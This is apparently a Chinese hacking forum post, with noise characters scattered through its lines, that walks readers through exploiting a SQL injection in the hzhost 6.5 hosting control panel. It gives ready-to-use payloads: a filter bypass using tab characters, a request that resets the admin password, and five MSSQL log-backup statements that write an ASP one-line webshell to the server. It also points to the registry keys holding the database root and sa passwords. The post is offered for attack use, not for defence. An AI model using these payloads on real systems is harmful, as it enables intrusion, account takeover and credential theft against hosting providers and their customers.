再爆hzhost6.5虚拟主机管理系统的SQL注入漏洞

admin

这次继续爆hzhost6.5虚拟主机管理系统的SQL注入漏洞。
8 p# O- p- A3 C: T; S 只讲两个要点。
第一，如何拿网站管理员权限。
! w7 z2 I  W: v* i$ J3 ~ 第二，如何备份木马。
. D7 e3 k4 Y7 C$ ?/ U) W6 H/ X 这次不是简单的注射点，而是经过安全函数过滤的了点。由于对方没有将变量用单引号包起来，而过滤函数又未过滤完全，导致我们有机会进行注射。
我这次还做了个动画。一并发放。希望能让大家玩得"happy"!哈哈。。。
+ D6 X# v- A0 C0 [httP://www.xxbing.com QQ178737315
* y9 c3 n% u6 @4 J, J- V由于我写了很长，而且很累了，所以希望大家回帖鼓励一下。
3 E; ?% ?+ K7 @* R------------开放浏览-------------
0 X* ?/ t3 R$ D8 B 漏洞存在于\hzhost\hzhost_master\control\ot2_mng\ot2_lst.asp文件中！
1 u. K, B, j8 e) t5 F, M/ J/ C-------------------------13-15行----------------------------
0 ~; A& B1 x+ \& v/ n querytype=SafeRequest("querytype")  //saferequest函数接受数据
if chk_int(querytype)=false then  //检查是否是整数
- O  ^: I, K5 [- j; p4 R# a7 Z; E# c    ErrMsg="<font color=#ff0000>对不起</font>，非法操作！..."
' E9 K, x0 N/ m. e5 C# V -------------------------37-42行---------------------------
elseif querytype=5 then //如果类型为5。就接受qu1数据！
) t; n& _2 {, H6 l1 E   qu1=trim(SafeRequest("qu1"))      //saferequest函数接受数据，他自己定义的saferequest函数！
5 C5 u+ s9 z/ p( ]   
2 W5 R/ q4 t% X3 k    if  qu1="" then  //不能为空
1 ]  \# u: y( c         call errorpage(-2,"对不起，请选择参数！")
. J9 [- ^: ^7 o2 s& ]' W   end if         
      qstring=" and s_regstt="&qu1&" "  //这里是关键  qu1没有用单引号包围，虽然用了saferequest，但是我们可以绕过！
-------------------------62-65行---------------------------
+ u" ]  s' q. ? qu7=trim(SafeRequest("qu7")) //saferequest函数接受数据
if qu7<>"" then
qstring2=" and u_nme='"&qu7&"'" //这里被单引号包围了。  这里被包围了，所以这里成了死点！！
# c+ A. Q  L" V& j: a end if
--------------------------117行-----------------------------
query="select * from v_ot2lst where  (s_unme='"&session("usrname")&"' or u_fatstr like '%,"&session("usrname")&",%')    "&qstring&qstring2&"  order by "&orderstring
) G& _1 k5 C& U- y, k/ o' | //到这里就丢进去查询了！
  B+ L5 |8 h  I. ~1 k" \. R7 {5 \
来看看saferequest()函数。
------------------incs/config.asp中-------------------------
0 K' E5 d4 e3 x: @1 a2 H  G. D8 R Function SafeRequest(ParaName)
' g5 Y$ i$ q' P( |- ^ Dim ParaValue
' a$ y- u0 W, t6 Y. A& G# y3 ]5 ?5 R ParaValue=Request(ParaName)  //获取数据
if IsNumeric(ParaValue)  then  //如果是数字
" @! E; H6 |% E  D% z: r6 ~ SafeRequest=ParaValue  //那就不过滤，直接赋值
exit Function
  S& S5 X1 b( D" W3 e" D
else
ParaValuetemp=lcase(ParaValue)    //如果不是数字，先把接到的数据全部转为小写
# T+ ^3 I5 e- D- {- V/ a tempvalue="select |insert |delete from|'|count(|drop table|update |truncate  |asc(|mid(|char(|xp_cmdshell|exec master|net localgroup administrators|net user| or | and |%20from"
//定义要过滤的字符！

他过滤方式有问题。。。没有过滤 * / % / -- / ;
$ m& J# J3 P8 [2 @$ @ 而且他过滤的都是select+空格。我们用select%09或者select/**/便能饶过。

7 r, h) ]4 ?* S  k) o  e0 }/ K* @ temps=split(tempvalue,"|")           //转为一维数组
for mycount=0 to ubound(temps)       //循环读数组内数据
, N" `9 R/ P4 q1 \ if  Instr(ParaValuetemp,temps(mycount)) > 0 then   //判断用户提交的数据是否包含了 非法字符。
                 call errorpage(-2,"非法请求！！！")  //如果有则弹出提示！！
  e( Z6 K9 c6 V. V                 response.end
end if
next
SafeRequest=ParaValue
end if
: q( E. R3 e( O. W. Y End function
8 T: e4 i: X. \% B2 R  g& h -------------------------------------

所以我们构造注射点的思路就是：不能出现单引号，update,select等等两边都要用%09（tab）..仔细看清楚。上面过滤的是update+空格。select+空格。
  E. F' H# ~& o 先给出查询语句的框架。
select * from v_ot2lst where  (s_unme='username' or u_fatstr like '%,username,%') and s_regstt={我们的语句} and u_nme='1' order by s_addtme desc
  c  C; X- j  [  ~  ]
/ I' t: f' m/ [- L: B8 H/ @ 为了使语句顺利执行：
- e5 b! ~8 C0 j4 C3 u5 k/ E! f 我们还要闭合后面的语句。我没有选择注释掉 and u_nme='1' order by s_addtme desc而是闭合他，是因为注释后，实际查询出错了。
这里我给出条示范语句，即{我们的语句}
# |1 w" i- y& j0 S) t/ Q" \UPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E
8 Z- z  M8 ~8 Q1 x
这条语句能够绕过saferequest函数的检测。没有出现单引号。
9 z2 r8 A, y# `/ X8 d: k 我们提交：
# w( ^, {, P/ q/ L* a' ]) D! Ahttp://www.xxxxxx.com/control/ot ... amp;qu1=1;UPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E;select%09*%09from%09v_ot2lst where s_regstt=1;select%09*%09from%09v_ot2lst where s_regstt=1
9 A4 k. g: ]7 D1 P9 N, n
这句话就能够将admin的密码修改成123456
4 t4 S. P8 Z8 o" |8 n5 X 到此第一个目的就达到了。如果admin不是超级管理员。那么请看《HZHOST域名虚拟主机管理系统sql注射漏洞》中所提到的方法。相关语句请自己转换。
第二步是要备份挂马。
0 e% m' O( V3 Z' r' O. O+ _8 y 大家看动画中的备马这么简单，当初难了我老半天。saferequest过滤了char(
4 u: L% G7 ^9 a7 H 导致备马的这条语句失败。
declare @a sysname,@s varchar(4000) select @a=db_name(),@s=。。。。。。。。。
! X( \/ M8 ^2 x/ G/ X  U# g( c! ^
有人给我建议改成 @s ntext 等等，换类型都不行。因为我们插入的一句话木马已经固定了数据类型。。
由于mssql的宽松性。我把varchar(40000)中加了个空格。并把空格替换成%09成为 varchar%09(4000)，也是可以的。这样我们就饶过了char(
接下来放出详细语句。大家放入{我们的语句中}
: E* I9 E* [* U# w9 _- ~第 一 步:
0 w0 \) }& d$ H* y, P6 V- D3 H8 } create table [dbo].[shit_tmp] ([cmd] [image])--
第 二 步
declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate--
第 三 步
insert%09into%09[shit_tmp](cmd) values(0x3C25657865637574652872657175657374282261222929253E)--
" f0 X; Y, @! h9 V2 U+ n2 X% [ 第 四 步
0 r: A+ d; u) L: v- W( { declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x44003A005C0068007A0068006F00730074005C0068007A0068006F00730074005F006D00610073007400650072005C0031002E00610073007000 backup log @a to disk=@s--
第 五 步
Drop table [shit_tmp]--
, A$ v1 _* G6 `; ^' _% H2 o
上面5句语句是在d:/hzhost/hzhost_master/下生成一个1.asp。里面包含了一个密码为a的一句话木马。
一般来说，我们就能拿到webshell. 至于拿webshell后，如何取得系统权限。
, k0 m0 Q/ f# Q2 `8 ^1 ` 请看《对HZHOST域名虚拟主机管理系统sql注射漏洞进一步利用！》

6 m/ [& C2 M* b( [9 p. I" k最后是答疑部分：
1:这次是get注射，不像上次是post注射。由于没有文本框字符的限制，所以不需要保存网页到本地。

5 s- U3 G% g/ r" q  |' N 2:123456的md5(32)值为e10adc3949ba59abbe56e057f20f883e 用mssql 16进制转换后，成为0x65003100300061006400630033003900340039006200610035003900610062006200650035003600650030003500370066003200300066003800380033006500
这是转为nvarchar型的，我们直接更新这个值。会导致被更新用户的密码为乱码。所以我们要转成varchar型的。即：
0x6531306164633339343962613539616262653536653035376632306638383365
大家仔细观察，会发现，其实只是去掉了一些00。。
( B$ w2 u7 ?- W 所以大家在转换其他md5的时候，注意此问题。

. N: J7 I* s0 v) v  e) ` 3:读sa密码,root密码。我们读的是加密了的。还原必须在本机，每台hzhost主机都有自己的密钥，密钥参与到加密过程。这是导致A主机不能还原B主机密码的原因。
另 hzhost虚拟主机平台的所有dll文件。还有一些注册表值我都已取得。有会逆向分析的高手，能做出还原密码程序的高手请联系我。我很希望把他的加密方式弄出来。
4 ^% i/ K( z5 r6 E
) f  u7 O0 e8 g, O+ o: v0 i$ e& q3 a' r 4:备马的问题，备份成功后，可能出现乱码，是由于截断了的原因，大家用NBSI3。去掉2个截断的勾，再生成语句执行就行了。
6 ^7 s4 P' x: z, v% E2 w( X 有的服务器可能在备马的过程中出现SQL过期，超时。遇到这样的是对方数据库很大，这我也没办法。我没能找出一个比较好的解决方案。大家自己研究吧。
9 l" {4 G" N# W8 J6 X0 C5 \4 O
9 o( \8 o5 X+ W  } 5：hzhost其实不只这一个注射点，没被单引号包围的变量还有一些。大家自己去找吧。我只是拿出一个来分析。

) K' N- b; o. P: @# d7 q, r 6：:
1 C. o$ Y( h2 Z: S. lsa密码。root密码。
HKEY_LOCAL_MACHINE\software\hzhost\config\settings\
1 A& Z2 g: z/ Q4 I1 _, p  Y mysqlpass---root密码
- O& z% h& v% I9 }$ s2 J mssqlpss----sa密码
. v: ~6 }" ~8 O) ]9 ~! c

7.如果路径不在D:/hzhost
那么就是你人品问题！进后台找找普通用户FTP/web的路径，也许会有些用。
或者去读注册表。
; V! v# C( A" G2 X# \ HKEY_LOCAL_MACHINE\software\hzhost\config\settings\ 下
* D0 ]$ V6 h. ?7 D1 U "wwwrootpath"="e:\\wwwroot"
"urlsiteroot"="D:\\hzhost\\hzhost_url"
' k* \8 }8 ~4 _4 M  b6 h7 ?3 a "ftprootpath"="e:\\ftproot"   可以看出什么？ 绝对路径放在注册表中。把注册表中的值更新到某个字段，再去读就行了。（比如用户e-mail中。。）
' E3 ~* y9 D8 ^. a. N+ J 大家自己去试。我没有碰到不在D盘的hzhost.。只是个思路！

" i0 P1 Z6 t3 [/ Q4 m 利用动画下载地址（送给菜鸟同学们，能看懂文章的大不必下载，只是把文章的内容完全演示了一遍。）
; u- X1 ]! D6 i6 T6 g3 R( Ihzhost最新漏洞.rar
. o# S" M  z8 O. E- z. E 饿。纳米盘速度可能不咋地。但是由于偶的空间FTP坏了。所以，只能放到这里。抱歉啊！！
5 y- A; C$ L* `- O# a( F
( [- y" {; b, P8 g* I) ] 最后，还是版权。
http://www.xxbing.com QQ178737315
+ C8 j  F7 r' j 允许自由转载。但请注明作者。